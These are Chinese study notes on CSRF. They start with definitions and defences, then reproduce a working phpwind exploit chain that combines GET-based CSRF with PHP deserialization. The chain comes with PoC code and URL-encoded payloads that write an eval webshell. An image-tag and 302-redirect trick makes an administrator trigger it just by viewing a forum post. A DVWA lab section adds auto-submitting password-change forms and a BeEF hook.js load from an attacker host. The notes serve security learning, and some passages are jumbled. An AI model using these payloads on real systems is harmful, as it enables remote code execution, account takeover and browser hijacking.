csrf漏洞学习笔记
面试问题
什么是csrf
其成因,怎么利用,怎么预防
什么是 CSRF 漏洞?
CSRF(Cross-Site Request Forgery,跨站请求伪造)漏洞是一种常见的 Web 安全漏洞,攻击者通过诱导用户在已登录可信网站的状态下,自动向该网站发送非预期的恶意请求,从而利用用户的身份执行未授权操作(如转账、修改密码、发表评论等)。
核心原理:“借身份” 发起恶意请求
CSRF 的本质是利用用户的 “已认证会话” —— 当用户登录某网站(如银行、社交平台)后,网站会通过 Cookie 或 Session 记录用户的登录状态(即 “认证凭证”)。此时若用户被诱导访问攻击者的恶意页面,该页面可通过代码(如表单自动提交、JavaScript)向可信网站发送请求,而浏览器会自动携带用户的认证凭证(Cookie/Session ID),导致可信网站误认为是用户 “主动发起的合法请求”,最终执行恶意操作。
漏洞成立的 3 个关键条件
- 用户已登录可信网站:用户必须处于对目标网站的 “已认证状态”(即网站已记录用户的登录凭证)。
- 存在 “可被伪造的请求”:目标网站的关键操作(如转账、改密码)仅通过简单请求(如 GET/POST)即可触发,且未对请求的 “合法性” 做验证(如未校验请求来源、未要求额外身份信息)。
- 用户被诱导触发请求:攻击者需通过手段让用户访问恶意页面(如邮件链接、钓鱼网站、论坛恶意广告),间接触发向可信网站的请求。
典型攻击流程示例(以 “银行转账” 为例)
假设用户已登录某银行网站(www.bank.com
),且银行转账功能存在 CSRF 漏洞:
- 攻击者构造恶意页面:创建一个包含自动提交表单的网页(如
www.attacker.com/evil.html
),表单的提交地址指向银行的转账接口(www.bank.com/transfer
),并预设恶意参数(如 “转账金额 1000 元”“收款账户为攻击者账号”)。html
<!-- 恶意页面中的自动提交表单 --> <form action="https://www.bank.com/transfer" method="POST" id="csrfForm"><input type="hidden" name="amount" value="1000"> <!-- 转账金额 --><input type="hidden" name="toAccount" value="attacker123"> <!-- 攻击者账户 --> </form> <script>document.getElementById("csrfForm").submit();</script> <!-- 页面加载后自动提交 -->
- 诱导用户访问:攻击者通过邮件、聊天工具等向用户发送恶意页面链接,谎称 “领取福利”“查看重要通知”。
- 触发恶意请求:用户点击链接后,恶意页面自动向
www.bank.com
发送转账请求。由于用户已登录银行,浏览器会自动携带银行的登录 Cookie,银行验证 Cookie 有效后,误认为是用户主动发起转账,最终完成恶意操作。
CSRF 与 XSS 的区别
很多人会混淆 CSRF 和 XSS(跨站脚本),二者核心差异在于攻击手段和依赖条件:
对比维度 | CSRF(跨站请求伪造) | XSS(跨站脚本) |
---|---|---|
核心目标 | 利用用户的 “已认证身份” 执行操作 | 向目标网站注入恶意脚本,控制用户页面 |
攻击手段 | 伪造合法请求(不注入脚本) | 注入 JavaScript 等恶意代码 |
依赖条件 | 必须基于用户的 “已登录状态” | 需目标网站存在脚本注入漏洞 |
本质 | “借身份办事” | “在目标页面插恶意代码” |
如何防御 CSRF 漏洞?
防御的核心思路是让网站能识别 “请求是否由用户主动发起”,常见方案包括:
-
添加 CSRF Token(令牌)验证
网站在用户登录后,为每个会话生成一个唯一的、随机的CSRF Token
(通常存储在页面表单隐藏字段或前端存储中)。当用户提交请求时,需同时携带该 Token;服务器收到请求后,会校验 Token 是否与当前用户会话绑定 —— 攻击者无法获取用户的 Token,因此伪造的请求会因 Token 无效被拒绝。这是目前最主流、最有效的防御方式。 -
校验 Referer/Origin 请求头(不建议)
浏览器发送请求时,会在Referer
头中携带 “请求来源页面的 URL”(如用户从www.bank.com/transfer-page
发起转账,Referer 就是该 URL)。服务器可校验 Referer 是否为可信域名(如仅允许www.bank.com
来源的请求),若来源是恶意域名则拒绝请求。
注意:Referer 可能被浏览器或插件篡改,需结合其他方案使用。 -
使用 SameSite Cookie 属性(完美防御)
为 Cookie 设置SameSite
属性(取值为Strict
或Lax
),限制 Cookie 仅在 “同站点请求” 中携带(即只有用户主动访问目标网站时,Cookie 才会被发送)。例如:SameSite=Strict
:仅同站点请求携带 Cookie;SameSite=Lax
:允许部分跨站请求(如通过链接跳转)携带 Cookie,但禁止通过恶意表单 / 脚本发起的跨站请求。
该方案能从根源上阻止浏览器在跨站请求中携带认证 Cookie,是浏览器原生支持的防御手段。
-
要求额外身份验证(二次验证/不建议)
对于关键操作(如转账、改密码),除了登录状态,还要求用户提供额外验证(如短信验证码、支付密码、人脸识别)。即使请求被伪造,攻击者也无法绕过二次验证。
总之,CSRF 漏洞的危害在于 “静默盗用用户身份”,但通过合理的防御措施(尤其是 CSRF Token + SameSite Cookie),可有效降低其风险。
案例
phpwind GET型CSRF任意代码执行
-
回调函数 call_user_func_array()
-
spl_autoload 、 spl_autoload_register 、 __autoload 三个函数 简单了解一下 自动加载注册类
-
利用数组+命名空间加载相同名字的类
-
利用StdClass代替对象数组
-
将CSRF和反序列化结合,从而使只能在后台触发的序列化漏洞,变为前台getshell。降低漏洞利用条件。
-
CSRF利用技巧
call_user_func
call_user_func_array
几个函数的作用
call_user_func_array()
mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
callback 被调用的回调函数。 param_arr 要被传入回调函数的数组,这个数组得是索引数组 返回值 返回回调函数的结果。如果出错的话就返回FALSE
spl_autoload,spl_autoload_register,__autoload
spl_autoload : 本函数提供了__autoload()的一个默认实现。如果不使用任何参数调用 spl_autoload_register() 函数,则以后在进行 __autoload() 调用时会自动使用此函数 spl_autoload_register — 注册给定的函数作为 __autoload 的实现 __autoload : 尝试加载未定义的类 __autoload 首先 当你想加载一个未定义的类时, 你需要调用—__autoload这个机制 但这个机制需要一个具体的函数来实现 这个具体的函数,无法直接调用,需要注册,sql_autoload_register 可以注册这个__autoload实现方法 反序列化
具体流程
0x01 后台反序列化位置
反序列化 具体
存储数据
想存一个类
或者一个对象
序列化成一个字符串
从数据库取 用户不可控 肯定不可利用
用户可控的点
首先纵览整个phpwindv9,反序列化的位置很多,但基本都是从数据库里取出的,很难完全控制序列化字符串。最后,找到三处:
序列化和反序列化 最重点的是用户可控数据
可恶的是,三处都在后台的Task模块下。Task模块是『任务中心』功能,只有能进入后台的用户才可以访问:
随便打开一个, src/applications/task/admin/TaskConditionMemberController.php
需要后台条件,当前后端触发,鸡肋
class TaskConditionMemberController extends AdminBaseController{/* (non-PHPdoc)* @see AdminBaseController::beforeAction()*/ 当你加载类和方法的时候,他会提前执行 thinkphp filterpublic function beforeAction($handlerAdapter) {parent::beforeAction($handlerAdapter);$var = unserialize($this->getInput('var'));if (is_array($var)) {$this->setOutput($var, 'condition');}} task --> unserialize--->重写PwDelayRun的构造函,给callback和args赋值,然后当程序执行结束,进入垃圾回收时,__destruct就会执行,此时会将call和args的恶意代码执行
beforeAction将会在实际执行Action之前执行。这里$var = unserialize($this->getInput(‘var’));,从Input中获取var参数的值,进行反序列化。这个Input可以来自get/post/cookie。我们只要在phpwind里找到反序列化可以利用的点,就能在这里触发反序列化漏洞。
0x02 找魔术方法
全局搜一下关键词__destruct,很快找到了PwDelayRun类:
class PwDelayRun {private static $instance = null;private $_callback = array();private $_args = array();private function __construct() {}public function __destruct() {foreach (this->_callback as key => $value) {call_user_func_array(value, this->_args[$key]);}}... } 销毁整个类或者函数 __destuct PwDelayRun类先进行序列化
可见_destruct方法,其中遍历了callback数组,用call_user_func_array执行任意函数。这里如果_callback可控,那么就可以直接执行assert+任意代码了。原本是一个十分简单的漏洞,但我们在TaskConditionMemberController::beforeAction::unserialize里下断点,执行var_dump(get_declared_classes());exit;,查看当前已经定义的类:、
sql_auto_register
Array ([0] => StdClass[1] => Exception...[330] => WindMysqlPdoAdapter[331] => WindResultSet[332] => AdminUserBo[333] => AdminLogService[334] => WindFile )
其中并没有PwDelayRun类。看来在反序列化的时候,并没有加载这个类,所以我即使构造了利用方法,也『造』不出PwDelayRun对象。那怎么办?
0x03 利用spl_autoload包含任意php文件
大致思路
在进行反序列化的时候,如果发现不存在的类,就会传入注册好的spl_autoload函数中,然后利用autoLoad函数定义中的include来包含任意文件。
尝试自动加载不存在的类 sql_auto_Register(wind::autoload)
在反序列化的过程中发现了不存在的类『PwDelayRun』,就会直接传入注册好的spl_autoload函数中。我在 /wind/Wind.php 中,可以找到spl_autoload_register函数的调用:
public static function init() {self::$isDebug = WIND_DEBUG;function_exists('date_default_timezone_set') && date_default_timezone_set('Etc/GMT+0');self::register(WIND_PATH, 'WIND', true);if (!self::$_isAutoLoad) return;if (function_exists('spl_autoload_register'))spl_autoload_register('Wind::autoLoad');elseself::$_isAutoLoad = false;self::_loadBaseLib(); }
将Wind::autoload注册为自动加载函数。跟进Wind::autoLoad
public static function autoLoad(className, path = '') {if ($path)$path这个变量 是你的路径 include path . '.' . self::_extensions;elseif (isset(self::_classes[className])) {include self::_classes[className] . '.' . self::$_extensions;} elseinclude className . '.' . self::_extensions; } include src\library\utility\PwDelayRun.php path 你是控制不了的\字符
autoLoad第二个参数是没有值的,所以这里,最后会走到这一步:include $className . ‘.’ . self::$_extensions;。
看到include我就有点激动,但静下心想一下发现还是有问题的。因为这里的className是没有路径的,而PwDelayRun类在src/library/utility/PwDelayRun.php文件中,我需要传入路径才可以包含到这个类。虽然类名不能包含特殊字符,但其实类名中是可以包含\的:
类名可以包含\,windows的路径也可以用这个字符表示
src\library\utility\PwDelayRun
实际上 他在欺骗这个框架
框架以为是直接加载的类
类名
src\library\unility\PwnDeleyDrun
这涉及到php中的命名空间的知识。学过新型框架的同学肯定对命名空间十分熟悉,所以我没必要多介绍。命名空间中可以包含\,而在windows下,\也可以作为路径的分隔符。(由此可见,这个漏洞仅限于Windows服务器)
所以这里,我可以将类名设置为src\library\utility\PwDelayRun(其实就是src\library\utility命名空间下的PwDelayRun类),最后在Wind::autoload里进行包含 include src\library\utility\PwDelayRun.php
0x04 利用数组+命名空间加载相同名字的类
还有一个问题,我们这里将类名设置为src\library\utility\PwDelayRun,而:整个phpwind全局是没有使用命名空间的,也就是默认命名空间为\,但现在的PwDelayRun类所在的命名空间为src\library\utility。这样,即使我包含了src\library\utility\PwDelayRun.php文件,反序列化的时候是实例化的src\library\utility\PwDelayRun类。但phpwind的命名空间是\,上下文存在的类是\PwDelayRun类,还是无法正常进行(因为找不到src\library\utility\PwDelayRun类)
反序列化的时候 由于包含了路径 php会自动解析为他的命名空间\src\library\PwD
把类还原了 你要加载这个类了 此时 phpwind去加载这个类 找不到 \Pwn
我想了一下,其实也好办,只要变通一下。我们只要生成src\library\utility\PwDelayRun类和\PwDelayRun类两个对象,放在一个数组中,在反序列化前者的过程中include目标文件,在反序列化后者的过程中拿到PwDelayRun对象。
执行上述代码即可拿到POC对象。
所以我构造一个poc
<?php namespace src\library\utility {class PwDelayRun{ } } 前面这个不写 PWDelayRun 根本没加载进来 为了include自动加载这个类 init初始化时候加载的 namespace{class PwDelayRun{private $_callback;private $_args;function __construct(){$this->_callback = ['assert'];$this->_args = [["phpinfo();exit;"]];} } header("Content-Type: text/plain"); $obj = [new src\library\utility\PwDelayRun(),new PwDelayRun() ]; echo urlencode(serialize($obj)); } ?> 反序列化前者的过程中include目标文件,在反序列化后者的过程中拿到PwDelayRun类 beforeaction task unseriable pwn类 但是你会发现 beforeaction并不存在 src\library\pwn.php php自动有一个命名空间这样的一个概念 src\library\pwn.php 此时该类已经被加载了 反序列化时候 你依然反序列化的类是在src\libray这个命名空间下的类 phpwind \ class PwDelayRun extend src\library\utility\PwDelayRun
拿序列化的结果去提交结果没反应
0x05 利用StdClass代替数组绕过限制
我们回看TaskConditionMember类,看看反序列化的那个beforeAction函数:
public function beforeAction($handlerAdapter) {parent::beforeAction($handlerAdapter);var = unserialize(this->getInput('var'));if (is_array($var)) {this->setOutput(var, 'condition');} }
后面有个判断is_array,是它在捣鬼。如果var是数组的话,就设置到output里。所以,最后该对象并没有销毁。
没有销毁那么实际上就没有调用__destruct函数,所以也无法执行任意代码了。要让is_array返回false,只需序列化一个非数组对象即可。其实在php源码层,对象是用数组来模拟的,我们只需要用一个对象代替数组即可。
php最简单的对象就是StdClass,我将POC改为如下即可:
<?php namespace src\library\utility {class PwDelayRun{ } } namespace{class PwDelayRun{private $_callback;private $_args;function __construct(){$this->_callback = ['assert'];$this->_args = [["file_put_contents('./shell.php', '<?php phpinfo(); ?>');phpinfo();exit;"]];} } header("Content-Type: text/plain"); $obj = new stdClass(); $obj->a = new src\library\utility\PwDelayRun(); $obj->b = new PwDelayRun(); echo urlencode(serialize($obj)); } ?>
最终的payload
http://127.0.0.1/cms/phpwind/admin.php?m=task&c=TaskConditionMember&a=profile&var=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7Ds%3A1%3A%22b%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7Bs%3A21%3A%22%00PwDelayRun%00_callback%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7Ds%3A17%3A%22%00PwDelayRun%00_args%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A15%3A%22phpinfo%28%29%3Bexit%3B%22%3B%7D%7D%7D%7D
成功执行phpinfo().
0x06 骚操作来了
这个漏洞本是一个利用技巧很妙的漏洞,但最关键的问题是其出现在后台,利用门槛太高。但这个漏洞又有一个特点,那就是其为GET方法,只需要一个URL即可触发。所以,我们可以将URL插入前台帖子的图片中:
发帖如下
[img]http://127.0.0.1/phpwind/admin.php?m=task&c=TaskConditionMember&a=profile&var=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7Ds%3A1%3A%22b%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7Bs%3A21%3A%22%00PwDelayRun%00_callback%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7Ds%3A17%3A%22%00PwDelayRun%00_args%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A77%3A%22file_put_contents%28%22.%2Fshell.php%22%2C%27%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B%3F%3E%27%29%3B+phpinfo%28%29%3Bexit%3B%22%3B%7D%7D%7D%7D[/img]
但是phpwind将&转义了,但是可以写一个302跳转页面
302.php
<?php header("Content-Type: image/gif"); header("Location: http://127.0.0.1/phpwind/admin.php?m=task&c=TaskConditionMember&a=profile&var=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7Ds%3A1%3A%22b%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7Bs%3A21%3A%22%00PwDelayRun%00_callback%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7Ds%3A17%3A%22%00PwDelayRun%00_args%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A71%3A%22file_put_contents%28%27.%2Fshell.php%27%2C+%27%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%27%29%3Bphpinfo%28%29%3Bexit%3B%22%3B%7D%7D%7D%7D"); ?>
发帖内容
[img]http://vps_ip/302.php[/img]
这时,只要管理员查看了该帖子,就可以getshell了。
getshell的poc
<?php?>\'); phpinfo();exit;']];} } header("Content-Type: text/plain"); $obj = new stdClass(); $obj->a = new src\library\utility\PwDelayRun(); $obj->b = new PwDelayRun(); echo urlencode(serialize($obj)); } ?>
漏洞组合拳之XSS+CSRF记录
0x00 前言
今天学习一下 XSS + CSRF 组合拳,现将笔记记录如下。
0x01 靶场环境
本机(Win):192.168.38.1
DVWA(Win):192.168.38.132
Beef(Kali):192.168.38.129
0x02 组合拳思路
第一拳:存储型 XSS + CSRF(存储型 XSS 攻击代码中加入 CSRF 代码链接)
第二拳:CSRF + SelfXSS(CSRF 代码中加入 SelfXSS 代码)
0x03 【第一拳】存储型 XSS + CSRF
1、构造 POC
a、构造 CSRF 代码
这里建议使用 CSRFTester 工具生成的 POC,比使用 BurpSuite 生成的 POC 更加隐蔽,受害者打开该 POC 后,浏览器会自动执行代码随后跳转到正常页面,中途不需要用户交互,也不用像 BurpSuite 生成的 POC 那样还需要受害者手动点击按钮。
本文所使用的 CSRF POC 便是基于 CSRFTester 生成的 POC。
继续来看,咱们需要首先为浏览器设置 8008 代理,打开 DVWA 的 CSRF 模块,输入密码后,先别急着点击 Change.
这时先开启 CSRFTester 的流量记录功能。
开启后,再点击 Change,之后 CSRFTester 就会抓取到修改密码的数据包,这个时候,一般 CSRFTester 还会记录其他流量,所以直接右击将不相关的流量进行删除即可,只保留我们需要的流量。
之后,在 Form Parameters 中将左侧 Query Parameters 数据修改复制即可,值得注意的是 Display in Browers 选项是默认勾选的,这里建议根据自己情况而定。因为这个工具自动生成的代码在我这边是需要手动修改才能利用的,所以我这边选择取消勾选。
之后点击 Generate HTML,选择保存的位置后,手动进行修改即可,当然如果工具生成的代码可以正常使用,就不需要修改了。
对于代码的修改,我主要是将 head、H2标题的内容删除了,以增加隐蔽性。同时增加了倒数第 4 行的代码,因为没有这一句,这个 POC 是不能正常使用的,最后修改后的 CSRF POC 代码如下。
<html> <body οnlοad="javascript:fireForms()"> <script language="JavaScript"> var pauses = new Array( "42" ); function pausecomp(millis){var date = new Date();var curDate = null;do { curDate = new Date(); }while(curDate-date < millis);} function fireForms(){var count = 1;var i=0;for(i=0; i<count; i++){document.forms[i].submit();pausecomp(pauses[i]);}} </script> <form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change"> <input type="hidden" name="password_new" value="123123"/> <input type="hidden" name="password_conf" value="123123"/> <input type="hidden" name="Change" value="Change" /> </form> </body> </html>
b、构造 XSS 代码
<script src="x" οnerrοr=javascript:window.open("http://192.168.38.1/csrf.html")></script>
2、 开工
在 XSS (Stored) 模块下,插入 XSS 代码,当然了前提 Security Level 要设置为 low。
在 DVWA 中会碰到 POC 太长而无法输入完全的情况,这个时候在开发者工具中将这个框的 maxlength 值设置大一点即可,这里我设置了 500.
点击 sign guestbook 按钮,POC 就会被插进去了,之后用其他浏览器登陆其他用户,访问存储型 XSS 模块页面,当然前提也需要把 Security Level 要设置为 low.
访问页面后,浏览器会自动跳转,同时返回修改密码的界面,如果弹出页面显示如上图中的 Password Changed 字样,就说明受害者的密码修改成功了,而这也仅仅是因为受害者点击了一个页面。
0x04 【第二拳】CSRF + SelfXSS
1、构造 POC
a、构造 XSS 代码
我这里使用 beef 作为 XSS 平台。
<script src="http://192.168.38.129:3000/hook.js"></script>
b、构造 CSRF 代码
这里继续使用 CSRFTester 工具生成 CSRF POC。
具体步骤如上图,这里就直接放出 CSRF POC 代码了,主要还是修改了倒数第 4 行的代码。
<html> <body οnlοad="javascript:fireForms()"> <script language="JavaScript"> var pauses = new Array( "54" ); function pausecomp(millis){var date = new Date();var curDate = null;do { curDate = new Date(); }while(curDate-date < millis);} function fireForms(){var count = 1;var i=0;for(i=0; i<count; i++){document.forms[i].submit(); pausecomp(pauses[i]);}} </script> <form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.38.129:3000/hook.js'></script>"> <input type="hidden" name="name" value="<script src='http://192.168.38.129:3000/hook.js'></script>"/> </form> </body> </html>
将上面代码放到本地 Web 服务中,打开其他浏览器,登陆其他账户,再打开我们构造的 CSRF 链接。
http://192.168.38.1/csrf.html
打开链接后,beef 中就能看到上线的主机了。
不过由于这个组合拳是需要诱导受害者点击构造的 CSRF 链接的,所以个人觉着利用难度要高于第一个组合拳:存储型 XSS + CSRF.
0x05 总结
暂时笔记就记录到这里,对于组合拳的利用方法也还有很多,这里只是自己简单的记录了两种。平时挖洞的时候利用好组合拳,所起到的效果可是杠杠滴。